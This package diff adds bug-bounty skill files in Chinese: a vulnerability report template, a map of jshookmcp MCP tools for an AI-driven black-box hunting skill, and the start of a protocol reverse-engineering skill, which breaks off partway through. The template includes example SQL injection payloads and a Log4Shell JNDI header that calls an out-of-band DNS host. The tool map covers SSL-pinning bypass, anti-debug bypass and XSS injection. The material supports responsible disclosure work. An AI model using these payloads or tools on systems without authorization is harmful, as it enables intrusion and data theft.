opencode-skills-collection 4.0.43 → 4.0.45

package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md

@@ -0,0 +1,346 @@
+# SRC 报告提交模板
+
+> 适用：HackerOne、Bugcrowd、补天、漏洞盒子、CNVD、私域 SRC
+> 三段式：标题 / 重现 / 影响——审核员 30 秒内能判分
+
+---
+
+## 0. 提交前自检 10 项
+
+按下 Submit 之前逐项打勾：
+
+- [ ] 标题符合 `[等级][条件][类型] 端点 - 一句话` 格式
+- [ ] 资产在 program scope（看 policy 页）
+- [ ] 复现步骤逐条编号，含完整 HTTP 请求/响应
+- [ ] 至少 1 张响应截图 + 1 张 URL 可见的截图
+- [ ] 副作用证据（外带 / 数据 / 文件 / 命令输出）
+- [ ] 至少 3 次复现成功（关键漏洞 5 次）
+- [ ] CVSS 3.1 / 4.0 vector + 影响段
+- [ ] 修复建议（具体 + 可操作）
+- [ ] 未对生产数据造成不可逆影响
+- [ ] 个人 PII / 第三方数据已脱敏
+
+---
+
+## 1. 标题模板
+
+```
+[严重等级][条件][漏洞类型] 端点 - 一句话描述
+```
+
+示例：
+
+```
+[Critical][未授权][RCE] /api/v1/import 接受 ${jndi:} - 单包打穿
+[High][认证后][SQLi] /api/search?q= UNION 注入 - 可读 admin hash
+[High][越权][IDOR] /api/orders/{id} 横向遍历他人订单
+[Medium][CSRF] /api/email/change 缺 token + SameSite=None
+[Critical][默认凭据] Spring Boot Actuator /heapdump - 泄露 DB 密码
+```
+
+平台映射：
+
+| 平台 | 严重度 |
+|------|------|
+| HackerOne | None / Low / Medium / High / Critical（CVSS 自动转） |
+| Bugcrowd | VRT P1 / P2 / P3 / P4 / P5 |
+| 补天 | 严重 / 高 / 中 / 低 |
+| CNVD | 超危 / 高危 / 中危 / 低危 |
+
+---
+
+## 2. 主体三段式
+
+### Section 1：漏洞概要（Summary）
+
+```markdown
+## 漏洞概要
+
+**类型**：SQL 注入（认证后，时间盲）
+**位置**：`POST /api/search` 的 `keyword` 参数
+**严重程度**：High
+**CVSS 3.1**：8.1（`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`）
+**先决条件**：拥有有效注册账号（免费注册）
+**影响范围**：可拖出 users 表 / 读 admin 密码 hash
+
+一句话：`POST /api/search` 的 `keyword` 参数未经参数化进入 SQL 查询，
+攻击者可注入 SELECT 语句读取数据库任意内容。
+```
+
+### Section 2：复现步骤（Steps to Reproduce）
+
+```markdown
+## 复现步骤
+
+### 环境
+- 测试时间：2025-05-09 14:30 UTC
+- 测试账号：hunter_test01（攻击者控制）
+- 目标域名：target.com
+
+### Step 1：登录获取 token
+
+请求：
+
+POST /api/login HTTP/1.1
+Host: target.com
+Content-Type: application/json
+
+{"email":"hunter+a@example.com","password":"<已脱敏>"}
+
+响应：
+
+{"token":"eyJhbGc...（前 12 字符）"}
+
+### Step 2：触发时间盲注（基线对比）
+
+**真条件包**：
+
+POST /api/search HTTP/1.1
+Host: target.com
+Authorization: Bearer eyJhbGc...
+Content-Type: application/json
+
+{"keyword":"x' AND (SELECT SLEEP(5))-- -"}
+
+响应时间：5.21s
+
+**假条件包**：
+
+POST /api/search HTTP/1.1
+{"keyword":"x' AND (SELECT SLEEP(0))-- -"}
+
+响应时间：0.08s
+
+### Step 3：5 次复现稳定性
+
+| 次数 | 真条件 | 假条件 | 差异 |
+|-----|-------|-------|-----|
+| 1 | 5.21s | 0.09s | 5.12s |
+| 2 | 5.18s | 0.07s | 5.11s |
+| 3 | 5.31s | 0.08s | 5.23s |
+| 4 | 5.22s | 0.09s | 5.13s |
+| 5 | 5.19s | 0.08s | 5.11s |
+
+### Step 4：数据外带（仅做版本探测，未拖库）
+
+POST /api/search HTTP/1.1
+{"keyword":"x' UNION SELECT 1,2,version()-- -"}
+
+响应：[{"id":1,"name":2,"info":"5.7.34-log"}]
+
+我未尝试拖出表数据 / 读取 admin 密码 hash / outfile 写文件。
+```
+
+### Section 3：影响 + 修复（Impact + Remediation）
+
+```markdown
+## 影响
+
+- **数据库版本**：MySQL 5.7.34
+- **可达范围**：当前数据库（prod_main）的所有表
+- **可拖数据**：users、orders、payments 表（推断含 PII / 财务）
+- **可升级**：通过 LOAD_FILE 读取 /etc/passwd（如 FILE 权限）→ 信息泄露
+- **业务影响**：用户隐私泄露、合规风险（GDPR / CCPA）
+
+## 修复建议
+
+### 短期（立即）
+- 在 `/api/search` 接口对 `keyword` 参数使用参数化查询（PreparedStatement / `?` 占位符）
+- 临时部署 WAF 规则拦截常见 SQL 关键字
+
+### 中期（1 周内）
+- 全站 SQL 拼接代码审计，统一改用 ORM / 参数化
+- 启用 query 日志监控异常 SQL
+
+### 长期
+- 数据库账号最小权限（仅 SELECT 单表）
+- 引入 SQL 注入静态扫描（CI 集成）
+
+## 我未做的事
+
+- 未拖出任何表的真实数据
+- 未尝试 LOAD_FILE / OUTFILE
+- 未读取 admin 密码 hash
+- 未对其他端点做注入测试
+
+可应贵方安全团队要求做进一步演示。
+```
+
+---
+
+## 3. 附件清单
+
+每份报告建议附 4–6 类材料：
+
+```
+attachments/
+├── 01-poc-screenshot.png         # 漏洞总览截图
+├── 02-burp-flow.png               # Burp 流量截图
+├── 03-recording.mp4               # 30s–2min 录屏（P0/P1 强烈建议）
+├── 04-poc.py                      # 复现脚本（如有）
+├── 05-dns-log.txt                 # OOB 平台日志（SSRF / RCE 必备）
+└── 06-cvss-calc.png               # CVSS 计算器截图
+```
+
+---
+
+## 4. CVSS 速查表（按漏洞类型预填）
+
+```
+未授权 RCE                AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
+认证后 RCE                AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8
+未授权 SQLi（拖库）        AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1
+认证 SQLi                  AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N = 8.1
+未授权数据导出 / IDOR      AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5
+任意文件读                 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5
+任意文件写 → RCE           AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
+未授权 SSRF + 元数据       AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
+JWT alg=none / 伪造        AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
+垂直越权（提权 admin）     AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8
+水平越权（IDOR）           AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5
+密码重置接管               AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1
+价格篡改                   AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N = 6.5
+存储 XSS（管理后台）        AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1
+反射 XSS                   AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1
+开放重定向                 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N = 4.7
+.git 泄露                  AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5
+.env 泄露生产凭据           AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
+默认凭据后台               AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
+HTTP smuggling             AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N = 9.0
+竞态金融超扣               AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N = 6.5
+```
+
+---
+
+## 5. 不同平台的格式调整
+
+### HackerOne
+
+- 标题用英文（除非项目允许中文）
+- Severity 选 None / Low / Medium / High / Critical
+- Asset 必须从下拉选择
+- 复现包用 H1 的 attachment 上传
+- Triager 看不懂中文 → 关键信息双语
+
+### Bugcrowd
+
+- 用 VRT 分类（Server-Side Injection / Authentication / ...）
+- VRT 分级 P1–P5 对应赏金区间
+- attachment 支持 + Markdown 友好
+
+### 补天 / 漏洞盒子
+
+- 中文 OK
+- 漏洞类型按平台分类下拉
+- 通用型 vs 事件型，通用型走 CNVD/CNNVD 编号
+- 复现 PoC 必须脱敏
+
+### CNVD
+
+- 通用型：厂商联系方式、影响范围、可复现 PoC
+- 事件型：URL、抓包、复现步骤
+- 所有真实 IP / 域名 / 数据必须脱敏
+
+---
+
+## 6. 报告语气
+
+DO：
+- 客观、可复现、可量化
+- 主动说"我没做什么"
+- 提具体修复建议（"在第 N 行加 PreparedStatement"）
+- 留联系方式以便复测
+
+DON'T：
+- 威胁 / 索赔 / 公开 / 媒体压力
+- "你们公司安全做得真烂"
+- "如果不修我就发推"
+- 多漏洞硬塞一篇报告（每个独立漏洞独立提交）
+
+---
+
+## 7. 跟进流程
+
+```
+提交（Day 0）
+  ↓
+Triage（1–7 天）：审核员判断"有效 / 需更多信息 / 重复 / 拒收"
+  ↓
+Resolved（1–60 天）：开发修复
+  ↓
+赏金（修复后或 triage 后）
+  ↓
+Disclosure（默认 90 天后或厂商同意）
+```
+
+被 closed-as-duplicate / 信息不全：
+
+- 用 Burp 的 raw HTTP 请求重发证明
+- 提供新的 IP / 时间戳 / 不同测试账号
+- 不要重复提交（封号风险）
+
+被 closed-as-N/A / Out of scope：
+
+- 仔细看 program policy
+- 必要时礼貌申诉，附 scope 解读
+- 不要刷分
+
+---
+
+## 8. 一份完整骨架（可直接复制改）
+
+```markdown
+# [Critical][未授权][RCE] /api/v1/import - 单包 ${jndi:} 打穿
+
+## 漏洞概要
+- 类型：JNDI 注入 (Log4Shell 类)
+- 位置：POST /api/v1/import 的 X-Api-Version Header
+- 严重程度：Critical
+- CVSS：9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
+- 先决条件：无（公开端点）
+- 影响：远程代码执行，无需认证
+
+## 环境
+- 测试时间：2025-05-09 14:30 UTC
+- 攻击者 OOB：abc.attacker-oob.cc（研究员控制）
+
+## 复现步骤
+
+### Step 1：发送注入 Payload
+
+POST /api/v1/import HTTP/1.1
+Host: target.com
+X-Api-Version: ${jndi:dns://test.abc.attacker-oob.cc/a}
+
+### Step 2：验证 OOB 触发
+
+DNS log（attacker-oob.cc 后台）：
+2025-05-09 14:30:42 UTC | source 3.x.x.x | query test.abc.attacker-oob.cc
+
+source IP 3.x.x.x 经反查为 target.com 的出口 IP。
+
+### Step 3：5 次复现稳定性
+全部成功，平均触发延时 < 1s。
+
+## 影响
+1. 远程代码执行（基于 Log4Shell 经典 chain）
+2. 完整服务器控制
+3. 可读取 /etc/passwd、配置文件、AWS 元数据等
+
+## 我未做的事
+- 未实际加载远程类 / 反弹 shell
+- 仅 DNS 外带证明触发
+- 未读取任何配置文件
+
+## 修复建议
+1. 立即升级 log4j-core 至 2.17.1+
+2. 设置 -Dlog4j2.formatMsgNoLookups=true
+3. 部署 WAF 规则拦截 ${jndi: 模式
+
+## 附件
+- 01-burp-poc.png（请求 + 响应）
+- 02-dns-log.png（OOB 日志）
+- 03-recording.mp4（2 分钟录屏）
+```
+
+---

package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md

@@ -0,0 +1,174 @@
+# MCP 工具集成 — jshookmcp
+
+> 本文档是 src-hunter skill 调用本地 MCP 服务器的工具地图。
+
+src-hunter 是黑盒漏洞挖掘 skill,默认假设你只有一个 URL,没有源码、没有内部信息。jshookmcp 把浏览器自动化、CDP 调试、网络拦截、JS hook、反混淆、Frida 内存取证、WASM 逆向、Source map 重构整合到一个 MCP server 中,直接服务于 hunt 阶段的"看代码 / 跑 payload / 拦数据 / 反调试 / 反混淆"五件事。
+
+工具引用使用 `mcp__jshook__<tool>` 完整 MCP 协议命名。所有工具名以 `.omc/tool-manifest.json`(jshookmcp 0.3.0 实际 `search_tools` 返回值)为准,**不臆造**。
+
+
+## 36 域索引
+
+jshookmcp 把 134+ 工具分布在 36 个 capability domain 中。下表标注每域核心用途与代表工具(BARE 名,实际调用时加 `mcp__jshook__` 前缀)。
+
+| 域名 | 何时用 | 代表工具 |
+|---|---|---|
+| `adb-bridge` | Android 设备 ADB 桥接 / APK 分析 / WebView 远调 | `adb_apk_analyze` / `adb_webview_attach` / `adb_webview_list` |
+| `antidebug` | 绕过 debugger / timing / headless 指纹检测 | `antidebug_bypass` |
+| `binary-instrument` | Frida 脚本生成 / Ghidra 反编译 / hook 模板导出 | `frida_run_script` / `generate_hooks` / `ghidra_decompile` / `frida_generate_script` |
+| `boringssl-inspector` | TLS 握手解析 / SSL pinning 绕过 / SSLKEYLOGFILE | `tls_cert_pin_bypass_frida` / `tls_keylog_enable` / `tls_probe_endpoint` |
+| `browser` | 浏览器自动化 / CDP 评估 / 反检测 stealth | `browser_evaluate_cdp_target` / `page_evaluate` / `stealth_inject` |
+| `canvas` | Canvas / WebGL 引擎指纹与对象拾取 | `canvas_engine_fingerprint` / `canvas_pick_object_at_point` |
+| `coordination` | 跨任务 handoff / 页面快照 / session insight | `save_page_snapshot` / `create_task_handoff` / `get_task_context` |
+| `core` | 代码采集 / 反混淆主管线 / hook 管理 / 加密检测 | `collect_code` / `deobfuscate` / `js_deobfuscate_pipeline` / `detect_crypto` |
+| `cross-domain` | 跨域证据图聚合 / 工作流建议 | `cross_domain_correlate_all` / `cross_domain_suggest_workflow` |
+| `debugger` | JS 断点 / 单步 / 表达式求值 / blackbox | `debugger_evaluate` / `debugger_pause` / `debugger_step` / `blackbox_add_common` |
+| `encoding` | base64 / protobuf / 二进制编解码 | `binary_encode` / `binary_decode` / `protobuf_decode_raw` |
+| `evidence` | 反向证据图查询 / 导出 / provenance 链 | `evidence_query` / `evidence_export` / `evidence_chain` |
+| `extension-registry` | webhook 端点管理(外部回调) | `webhook` |
+| `graphql` | GraphQL introspection / 查询提取 / 重放 | `graphql_introspect` / `graphql_extract_queries` / `graphql_replay` |
+| `hooks` | JS 运行时 hook preset(eval/atob/Reflect 等 20+) | `hook_preset` / `ai_hook` |
+| `instrumentation` | 仪表化 session 内的 hook / 网络重放 / artifact | `instrumentation_hook_preset` / `instrumentation_network_replay` |
+| `macro` | 录制 / 重放工具调用序列 | `run_macro` / `list_macros` |
+| `maintenance` | 环境健康检查 / bridge 端点诊断 | `doctor_environment` |
+| `memory` | 进程内存 patch 回滚(配合 Frida) | `memory_patch_undo` |
+| `mojo-ipc` | Chromium Mojo IPC 监听 / 解码 | `mojo_monitor` / `mojo_messages_get` / `mojo_decode_message` |
+| `network` | 请求拦截 / 重放 / HAR / HTTP2 / 性能指标 | `network_intercept` / `network_replay_request` / `http2_probe` / `network_extract_auth` |
+| `platform` | Electron / ASAR 应用分析 / fuse 状态 | `electron_inspect_app` / `electron_ipc_sniff` / `asar_search` |
+| `process` | 进程级 CDP 附加(Electron 等) | `electron_attach` |
+| `protocol-analysis` | 协议状态机推断 / ICMP / 模式可视化 | `proto_infer_state_machine` / `icmp_echo_build` / `proto_visualize_state` |
+| `proxy` | 本地代理启停 / CA 管理 / Android 接入 | `proxy_setup_adb_device` / `proxy_status` / `proxy_stop` |
+| `sandbox` | QuickJS WASM 沙箱内执行 JS | `execute_sandbox_script` |
+| `shared-state-board` | 多 agent 共享状态板(观察 + IO) | `state_board` / `state_board_watch` / `state_board_io` |
+| `skia-capture` | Skia 场景树提取 / 渲染器探测 / 节点关联 | `skia_extract_scene` / `skia_detect_renderer` |
+| `sourcemap` | source map 抓取 / 解析 / 源码树重建 | `sourcemap_fetch_and_parse` / `sourcemap_reconstruct_tree` / `sourcemap_parse_v4` |
+| `streaming` | WebSocket 连接与帧捕获 | `ws_monitor` / `ws_get_connections` |
+| `syscall-hook` | 进程级 syscall 监听(ETW / strace / dtrace) | `syscall_start_monitor` / `syscall_get_stats` |
+| `trace` | SQLite trace 录制 / 网络流追踪 / Chrome Trace 导出 | `trace_recording` / `trace_get_network_flow` / `export_trace` |
+| `transform` | AST 改写 / 加密函数提取 / 实现对比 | `ast_transform_apply` / `crypto_extract_standalone` / `crypto_compare` |
+| `v8-inspector` | V8 字节码提取 / 版本探测 | `v8_bytecode_extract` / `v8_version_detect` |
+| `wasm` | WebAssembly disasm / decompile / 内存 / 反混淆探测 | `wasm_disassemble` / `wasm_decompile` / `wasm_dump` / `wasm_detect_obfuscation` |
+| `workflow` | 扩展工作流 / API 批探测 / 远 bundle 搜索 | `js_bundle_search` / `api_probe_batch` / `run_extension_workflow` |
+
+---
+
+## 场景 → 工具映射表
+
+这是本文档的核心。把 SRC hunt 阶段常见动作对应到 jshook 工具,标注关联 src-hunter playbook 与调用时机。
+
+| 场景 | 漏洞类型 | 推荐工具(`mcp__jshook__*`) | 关联 playbook | 调用时机 |
+|---|---|---|---|---|
+| 拦截外发请求 / 观察 SSRF | SSRF | `mcp__jshook__network_intercept` + `mcp__jshook__network_get_requests` | ssrf-cache-host.md | 探测阶段被动观察 |
+| 构造 HTTP/2 帧探测内网 | SSRF | `mcp__jshook__http2_probe` + `mcp__jshook__http_request_build` | ssrf-cache-host.md | 主动绕过过滤 |
+| 重放修改 SSRF 请求 | SSRF | `mcp__jshook__network_replay_request` | ssrf-cache-host.md | 验证不同协议 / 主机头 |
+| 浏览器执行 XSS payload | XSS | `mcp__jshook__browser_evaluate_cdp_target` + `mcp__jshook__page_evaluate` | xss.md | 验证盲打 / DOM XSS |
+| XSS payload 注入页面 | XSS | `mcp__jshook__page_inject_script` | xss.md | 持久化注入 |
+| 反混淆混淆 JS / AST 改写 | XSS / RCE | `mcp__jshook__ast_transform_apply` + `mcp__jshook__deobfuscate` | xss.md / rce.md | 分析 obfuscated 业务代码 |
+| JSVMP / VM 保护 JS 反混淆 | XSS / RCE | `mcp__jshook__js_deobfuscate_jsvmp` + `mcp__jshook__js_deobfuscate_pipeline` | xss.md / rce.md | 高强度混淆站 |
+| Source map 还原原始源码 | 信息泄露 / XSS | `mcp__jshook__sourcemap_fetch_and_parse` + `mcp__jshook__sourcemap_reconstruct_tree` | xss.md | 找 sink / 找接口 |
+| Webpack bundle 模块枚举 | 信息泄露 | `mcp__jshook__webpack_enumerate` + `mcp__jshook__js_bundle_search` | xss.md | 找前端密钥 / 内部 API |
+| 加密算法识别 / 提取 | OAuth / XSS / API | `mcp__jshook__detect_crypto` + `mcp__jshook__crypto_extract_standalone` | oauth-saml-jwt.md / xss.md | 还原签名逻辑 |
+| eval / atob / Function preset hook | XSS / RCE | `mcp__jshook__hook_preset` | xss.md / rce.md | 找运行时反序列化 sink |
+| 设置 DOM 断点 / 单步追 sink | XSS | `mcp__jshook__debugger_pause` + `mcp__jshook__debugger_step` + `mcp__jshook__get_call_stack` | xss.md | DOM XSS 数据流追踪 |
+| WASM 模块抓取与反汇编 | RCE | `mcp__jshook__wasm_dump` + `mcp__jshook__wasm_disassemble` + `mcp__jshook__wasm_decompile` | rce.md | WASM 业务逻辑逆向 |
+| WASM 反混淆探测 / 转 C | RCE | `mcp__jshook__wasm_detect_obfuscation` + `mcp__jshook__wasm_to_c` | rce.md | 加密 / 风控核心 |
+| Frida 脚本生成与注入 | RCE | `mcp__jshook__generate_hooks` + `mcp__jshook__frida_run_script` | rce.md | 验证 RCE 落点 |
+| Frida hook 导出可运行脚本 | RCE | `mcp__jshook__export_hook_script` | rce.md | 离线复测 |
+| Ghidra 函数反编译 | RCE | `mcp__jshook__ghidra_decompile` | rce.md | 二进制反序列化场景 |
+| 反调试 / debugger 检测绕过 | XSS / RCE / Mobile | `mcp__jshook__antidebug_bypass` | xss.md / rce.md / mobile.md | 目标主动反调试 |
+| Android APK 信息提取 | Mobile | `mcp__jshook__adb_apk_analyze` | mobile.md | 静态分析前置 |
+| Android WebView 远调 | Mobile | `mcp__jshook__adb_webview_attach` + `mcp__jshook__adb_webview_list` | mobile.md | App 内嵌 H5 |
+| SSL pinning 绕过 (Frida) | Mobile | `mcp__jshook__tls_cert_pin_bypass_frida` + `mcp__jshook__tls_cert_pin_bypass` | mobile.md | APK 拦截前置 |
+| SSLKEYLOGFILE 抓密钥 | Mobile / API | `mcp__jshook__tls_keylog_enable` + `mcp__jshook__tls_keylog_parse` | mobile.md / oauth-saml-jwt.md | 对接 Wireshark 解密 |
+| 安卓代理接入 | Mobile | `mcp__jshook__proxy_setup_adb_device` + `mcp__jshook__proxy_status` | mobile.md | 流量观察前置 |
+| JWT / token 抽取 | OAuth/SAML/JWT | `mcp__jshook__network_extract_auth` | oauth-saml-jwt.md | 自动找 Authorization / cookie |
+| JWT base64 编解码 | OAuth/SAML/JWT | `mcp__jshook__binary_encode` + `mcp__jshook__binary_decode` | oauth-saml-jwt.md | 篡改 header / payload |
+| redirect_uri 链路调试 | OAuth | `mcp__jshook__debugger_evaluate` + `mcp__jshook__network_replay_request` | oauth-saml-jwt.md | 找 open redirect |
+| GraphQL introspection | API REST | `mcp__jshook__graphql_introspect` | api-rest.md | 资产展开 |
+| GraphQL 历史查询提取 | API REST | `mcp__jshook__graphql_extract_queries` + `mcp__jshook__graphql_replay` | api-rest.md | 重放业务请求 |
+| REST 批量接口探测 | API REST | `mcp__jshook__api_probe_batch` | api-rest.md | 批量 BOLA / mass-assignment |
+| WebSocket 帧捕获 | API REST | `mcp__jshook__ws_monitor` + `mcp__jshook__ws_get_connections` | api-rest.md | 实时业务 / 推送 |
+| 文件上传 polyglot 编码 | File Upload | `mcp__jshook__binary_encode` + `mcp__jshook__binary_decode` | file-upload.md | 构造图片+脚本混合 |
+| 文件上传 AST 改写绕过过滤 | File Upload | `mcp__jshook__ast_transform_apply` + `mcp__jshook__ast_transform_preview` | file-upload.md | 改 magic byte / 修复 polyglot |
+| 文件上传 multipart 边界改 | File Upload | `mcp__jshook__http_plain_request` + `mcp__jshook__network_replay_request` | file-upload.md | 绕过 MIME 校验 |
+| Protobuf 二进制盲解 | API REST / 信息泄露 | `mcp__jshook__protobuf_decode_raw` | api-rest.md | 无 schema 抓包分析 |
+| Electron 应用静态结构 | RCE / 信息泄露 | `mcp__jshook__electron_inspect_app` + `mcp__jshook__asar_search` | rce.md | 桌面端目标 |
+| Electron IPC 监听 | RCE | `mcp__jshook__electron_ipc_sniff` | rce.md | renderer ↔ main IPC 漏洞 |
+| Chromium Mojo IPC 监听 | RCE | `mcp__jshook__mojo_monitor` + `mcp__jshook__mojo_messages_get` | rce.md | 浏览器内核漏洞研究 |
+| 进程 syscall 监听 | RCE | `mcp__jshook__syscall_start_monitor` + `mcp__jshook__syscall_get_stats` | rce.md | 验证 RCE 后行为 |
+| 协议状态机推断 | API / 信息泄露 | `mcp__jshook__proto_infer_state_machine` + `mcp__jshook__proto_visualize_state` | api-rest.md | 自定义协议逆向 |
+| 全流量 trace 持久化 | 调查 / 报告 | `mcp__jshook__trace_recording` + `mcp__jshook__export_trace` | 所有 playbook | 留证 / 时间线复盘 |
+| 反检测 stealth 注入 | 长期挂测 | `mcp__jshook__stealth_inject` + `mcp__jshook__stealth_verify` | xss.md / api-rest.md | 风控站长期观察 |
+| 跨域证据聚合 | 调查 | `mcp__jshook__cross_domain_correlate_all` + `mcp__jshook__evidence_export` | 所有 playbook | 多源对齐 / 出报告 |
+
+---
+
+## 推荐 profile
+
+jshookmcp 提供三档 profile,通过环境变量 `JSHOOK_BASE_PROFILE` 或工具调用切换。**默认 `search` 模式**,符合 src-hunter 上下文经济原则。
+
+| Profile | 上下文成本(token) | 适用场景 | 启用方式 |
+|---|---|---|---|
+| `search` (**默认**) | ~3K | 按需激活,单点调用,常态 SRC hunt | `JSHOOK_BASE_PROFILE=search`(已是默认值) |
+| `workflow` | 中等 | 连续编排,跨域协作,1 个 session 多次复用同类工具 | 调 `mcp__jshook__boost_profile workflow`(若可用) |
+| `full` | 40K+ | 已知会用 50%+ 工具时,如大型批量任务 | 调 `mcp__jshook__boost_profile full` |
+
+**默认推荐工作流**:
+
+1. `mcp__jshook__search_tools <关键词>`(BM25 检索,按 hunt 关键词分桶)
+2. 取 top-3 结果,`mcp__jshook__activate_tools <工具名 list>` 激活
+3. 调用激活的工具
+4. 跨域协作时:`mcp__jshook__activate_domain <域名>` 批量激活整域
+
+**反模式**:不要为单个工具直接 `boost_profile`,会一次性加载 40K+ token 严重浪费上下文。只在已知后续要密集复用某一族工具时升档。
+
+---
+
+## 内置 Burp Suite Bridge
+
+⚠️ **本机实测说明**:`mcp__jshook__search_tools burp` 在 jshookmcp 0.3.0 本机版本上**未返回**任何 `burp_*` 原子工具,仅命中:
+
+- `doctor_environment`(maintenance 域,描述中提到"bridge endpoints"健康检查)
+- 通用 `proxy_*` 工具(proxy 域,启停 / 状态 / CA 管理)
+
+jshookmcp 上游 README 声明内置 Burp / Ghidra / IDA Pro bridges,但 0.3.0 当前版本未将 Burp 桥接拆为独立原子工具暴露。
+
+**实用替代路径(R8 fallback)**:
+
+1. **激活 proxy + cross-domain 两域**:
+   ```
+   mcp__jshook__activate_domain proxy
+   mcp__jshook__activate_domain cross-domain
+   ```
+2. **用 `proxy_*` 启动本地代理 + CA**,把 Burp 配置为上游 proxy 链或反向接入。
+3. **用 `mcp__jshook__doctor_environment` 检查 bridge 端点状态**,若 jshook 后续版本暴露 Burp 桥接 API,会在此显现。
+4. **用 `network_*` + `instrumentation_network_replay` 替代 Burp Repeater 自动化**:`network_replay_request` 已能完成大多数 Repeater 场景的批量改包。
+5. **结合 `evidence_*` / `cross_domain_correlate_all`**:把 jshook 抓的请求与外部 Burp 数据通过 evidence 图人工合并(导出 JSON 后再聚合)。
+
+**何时仍需独立 burp-mcp-server**:
+
+- 需要 Burp Scanner 主动扫描结果直接进 LLM
+- 需要 Burp Extender 写的自定义 scan check 触发
+- Repeater 复杂 macro / session handling rule 联动
+
+如上述场景需要,可在 `~/.claude.json` 单独注册 burp 官方 MCP(out of scope of this doc),并在 `references/tools/mcp-burp.md`(未来)中文档化。
+
+---
+
+## 相关 src-hunter playbook
+
+下表是本 MCP 在 src-hunter 19 个 playbook 中的角色分布。**本次主选 7 个高关联 playbook 加反向锚点**,其余 12 个本次不动(见 `.omc/plans/mcp-tools-integration.md` ADR Follow-ups,sqli / path-traversal / graphql 计划下次迭代加入)。
+
+| Playbook | jshook 主要域 | 本 MCP 角色 |
+|---|---|---|
+| [xss.md](../playbooks/xss.md) | browser / debugger / transform / hooks / sourcemap / core | 浏览器执行 + AST 反混淆 + Sink 断点 + Source map 还原 |
+| [rce.md](../playbooks/rce.md) | wasm / antidebug / binary-instrument / memory / platform / mojo-ipc / syscall-hook | WASM 逆向 + Frida 内存验证 + 反调试 + Electron / Chromium IPC |
+| [ssrf-cache-host.md](../playbooks/ssrf-cache-host.md) | network / proxy / protocol-analysis | 网络拦截 + HTTP/2 构造 + 协议状态机推断 |
+| [mobile.md](../playbooks/mobile.md) | adb-bridge / boringssl-inspector / proxy / binary-instrument | SSL pinning 绕过 + APK 信息 + WebView 远调 + Frida hook |
+| [oauth-saml-jwt.md](../playbooks/oauth-saml-jwt.md) | network / encoding / debugger / core | JWT 篡改 + redirect_uri 调试 + 加密算法识别 |
+| [api-rest.md](../playbooks/api-rest.md) | graphql / network / workflow / streaming / protocol-analysis | introspection + 批量 API + WebSocket 帧 + 协议盲解 |
+| [file-upload.md](../playbooks/file-upload.md) | encoding / transform / network | polyglot 编码 + AST 改写 + multipart 改包 |
+
+**未覆盖 playbook**(下次迭代加入):sqli / path-traversal / graphql / arbitrary-x-authz / logic-flaws / unauth-access / info-disclosure / http-smuggling / race-conditions / dos / llm-prompt-injection / intranet-postexp。
+
+---

package/bundled-skills/protocol-reverse/SKILL.md

@@ -0,0 +1,108 @@
+---
+name: protocol-reverse
+description: "Authorized reverse engineering of custom binary protocols, Protobuf/gRPC schemas, WebSocket frames, and PCAP-driven protocol recovery."
+risk: safe
+source: "https://github.com/zhaoxuya520/reverse-skill"
+source_repo: "zhaoxuya520/reverse-skill"
+source_type: community
+date_added: "2026-08-25"
+license: "MIT"
+license_source: "https://github.com/zhaoxuya520/reverse-skill/blob/main/LICENSE"
+---
+# Protocol Reverse Engineering
+## When to Use
+
+- Documenting an undocumented wire protocol from captures.
+- Decoding structured traffic during an authorized analysis.
+
+
+## 适用场景
+
+- 自定义 TCP/UDP 二进制协议
+- Protobuf / gRPC / FlatBuffers / MessagePack
+- WebSocket / MQTT / 私有 RPC
+- PCAP / PCAPNG 还原字段与状态机
+- 客户端-服务端校验、序列号、加密帧头
+
+## 不走本 skill
+
+| 情况 | 去哪 |
+|------|------|
+| 仅 HTTP 参数签名 / JS 加密 | `js-reverse/` |
+| 仅 TLS 证书问题 | `pentest-tools/` 或浏览器代理 |
+| 固件内协议栈深挖 + 仿真 | `firmware-pentest/` 后再回本 skill |
+
+## 工作流
+
+### Phase 1 — 采集与分诊
+
+```text
+□ 拿到样本：PCAP / 代理导出 / 客户端日志 / 二进制
+□ 标记方向：C→S / S→C；是否有握手、心跳、重连
+□ 固定头？魔数？长度字段？TLV？定长？
+□ 是否压缩（zlib/gzip/lz4）或加密（AES/ChaCha 帧内）
+□ tshark -r cap.pcap -T fields -e frame.number -e ip.src -e tcp.payload
+```
+
+### Phase 2 — 帧布局还原
+
+```text
+□ 对齐多个同类消息，找不变字节 / 自增序列号
+□ 长度字段：大端/小端、含头/不含头
+□ 校验：CRC16/32、checksum、HMAC 位置
+□ 画出状态机：Connect → Auth → Ready → Request/Response → Close
+□ 工具：Wireshark 自定义 dissector 草稿 / ImHex / 010 Editor 模板 / Kaitai Struct
+```
+
+### Phase 3 — 序列化与加密
+
+```text
+□ Protobuf：.proto 恢复（blackboxprotobuf / pbtk / protoc --decode_raw）
+□ gRPC：HTTP/2 headers + protobuf body
